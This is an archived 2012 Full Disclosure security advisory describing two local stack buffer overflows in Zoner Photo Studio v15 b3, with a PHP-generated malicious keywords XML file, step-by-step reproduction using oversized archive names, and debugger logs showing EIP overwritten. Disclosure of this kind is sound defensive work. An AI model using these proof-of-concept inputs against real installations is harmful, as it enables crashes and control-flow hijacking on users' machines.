Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 13 Nov 2012 04:59:39 +0100

Title:
======
Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities


Date:
=====
2012-11-13


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=759


VL-ID:
=====
759


Common Vulnerability Scoring System:
====================================
4.5


Introduction:
=============
Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfläche. Die übersichtliche 
Benutzeroberfläche 
von `Zoner PhotoStudio` und der große Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu verschönern und mit 
Freunden zu teilen. 
Eines der Highlights der Software ist die Möglichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos können mit 
einer handelsüblichen 
3D-Brille dreidimensional bestaunt werden. Weiter können Sie Diashows anlegen, Ihre Bilder im Internet veröffentlichen 
oder Panorama-Fotos 
erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift.

(Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner 
Photo Studio Software v15 (b3).


Report-Timeline:
================
2012-11-13:     Public Disclosure


Status:
========
Published


Affected Products:
==================
Zoner Software
Product: Zoner Photo Studio v15 Build 3


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3).
The bug allows local attackers to escalate out of the affected vulnerable software module with system process 
privileges. 
The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe).

1.1
The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schlüsselwort)` module. The xml 
importer does not parse the length (values) of the string (name & description) when processing to import (buffer). 
The result is a local exploitable stack-based Buffer Overflow vulnerability.

Vulnerable Module(s):
                                [+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml)

Vulnerable Parameter(s):
                                [+] Name
                                [+] Description


1.2
The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows 
an local user 
to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load 
 (buffer) 
the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability.  

Vulnerable Module(s):
                                [+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder]

Vulnerable Parameter(s):
                                [+] Archivname


Proof of Concept:
=================
1.1
The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and 
without required user inter action.
For demonstration or reproduce ...

PoC: [XML] ZPS14Keywords.xml  | Setting(Einstellungen) > Keyword Import/Export
<?php
header('Content-Type: text/xml');
print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy>
                <keyword category="yes" name="Security Researchers">
                        <keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" 
description="31337;" />
                        <keyword category="no" name="Benjamin Kunz Mejri" />
                        <keyword category="no" name="PenTest23" />
                        <keyword category="no" name="PenTest24" />
                        <keyword category="no" name="PenTest25" />
                        <keyword category="no" name="PenTest26" />
                        <keyword category="no" name="PenTest26" />
                        <keyword category="no" name="PenTest27" />
                        <keyword category="no" name="PenTest28" />
                        <keyword category="no" name="PenTest29" />
                        <keyword category="no" name="PenTest30" />
                </keyword>
                <keyword category="yes" name="News">
                        <keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT 
KEYWORDS!];" />
                        <keyword category="no" name="Chokri Ben Achour" />
                        <keyword category="no" name="PenTest32" />
                        <keyword category="no" name="PenTest33" />
                        <keyword category="no" name="PenTest34" />
                        <keyword category="no" name="PenTest35" />
                        <keyword category="no" name="PenTest36" />
                        <keyword category="no" name="PenTest37" />
                        <keyword category="no" name="PenTest38" />
                        <keyword category="no" name="PenTest39" />
                        <keyword category="no" name="PenTest40" />
                </keyword>
                <keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]">
                        <keyword category="yes" name="31337;" />
                        <keyword category="no" name="Ibrahim El-Sayed" />
                        <keyword category="no" name="PenTest41" />
                        <keyword category="no" name="PenTest42" />
                        <keyword category="no" name="PenTest43" />
                        <keyword category="no" name="PenTest44" />
                        <keyword category="no" name="PenTest45" />
                        <keyword category="no" name="PenTest46" />
                        <keyword category="no" name="PenTest47" />
                        <keyword category="no" name="PenTest48" />
                        <keyword category="no" name="PenTest49" />
                </keyword>
        </hierarchy>
</keywords>';
?>

--- Debug Logs ---
(3a98.1840): Access violation - code c0000005 
eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000
eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
0:000> u
ntdll!ZwRaiseException+0x12:
76fd15de 83c404          add     esp,4
76fd15e1 c20c00          ret     0Ch
ntdll!NtRaiseHardError:
76fd15e4 b830010000      mov     eax,130h
76fd15e9 33c9            xor     ecx,ecx
76fd15eb 8d542404        lea     edx,[esp+4]
76fd15ef 64ff15c0000000  call    dword ptr fs:[0C0h]
76fd15f6 83c404          add     esp,4
76fd15f9 c21800          ret     18h
0:000> a
76fd15de !exchain



1.2
The buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and 
without required user inter action.
For demonstration or reproduce ...

Manually Exploitation/Reproduce: Publizieren > Per Mail versenden > Zip Comprimierung der Bilder > Archivname + 
FILE.[ZIP] (STRG+UMS+M)

1. Install & start the Zoner Photo Studio Software
2. Click in the main menu the Publizieren button and open the Per Mail versenden function - < STRG+UMS+M >
3. Activate the Zip Compressed Pictures function (Zip Comprimierung der Bilder)
4. Now, you see the standard value (Dateien.zip)
5. Delete one of both words but do not delete the `.` because it is required for a not invalid submission (via OK 
Button)
6. Include the following example strings  Daten.[+Large String AAAAAA+]  or  [Large String AAAAAA+].zip and click OK!
7. *BAM! Result is a stack-based buffer overflow [overwrites the ebx & eip]


--- Exception Logs ---
EventType=BEX [Buffer Overflow]
EventTime=129972361437653387
ReportType=2
Consent=1
ReportIdentifier=cfbd2b2a-2d1f-11e2-be0d-8c500fdd2fd9
IntegratorReportIdentifier=cfbd2b29-2d1f-11e2-be0d-8c500fdd2fd9
WOW64=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=Zps.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=14.0.1.7
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4fffeaeb
Sig[3].Name=Fehlermodulname
Sig[3].Value=StackHash_24fa
Sig[4].Name=Fehlermodulversion
Sig[4].Value=0.0.0.0
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=00000000
Sig[6].Name=Ausnahmeoffset
Sig[6].Value=41414141        <=== EIP
Sig[7].Name=Ausnahmecode
Sig[7].Value=c0000005
Sig[8].Name=Ausnahmedaten
Sig[8].Value=00000008

--- Debug Logs ---
- Access violation - code c0000005
ebx=00410041 
eip=41414141


Risk:
=====
The security risk of the local buffer overflow vulnerabilities are estimated as medium(+)|(-)high.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm () vulnerability-lab com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research () vulnerability-lab com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities Vulnerability Lab (Nov 13)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault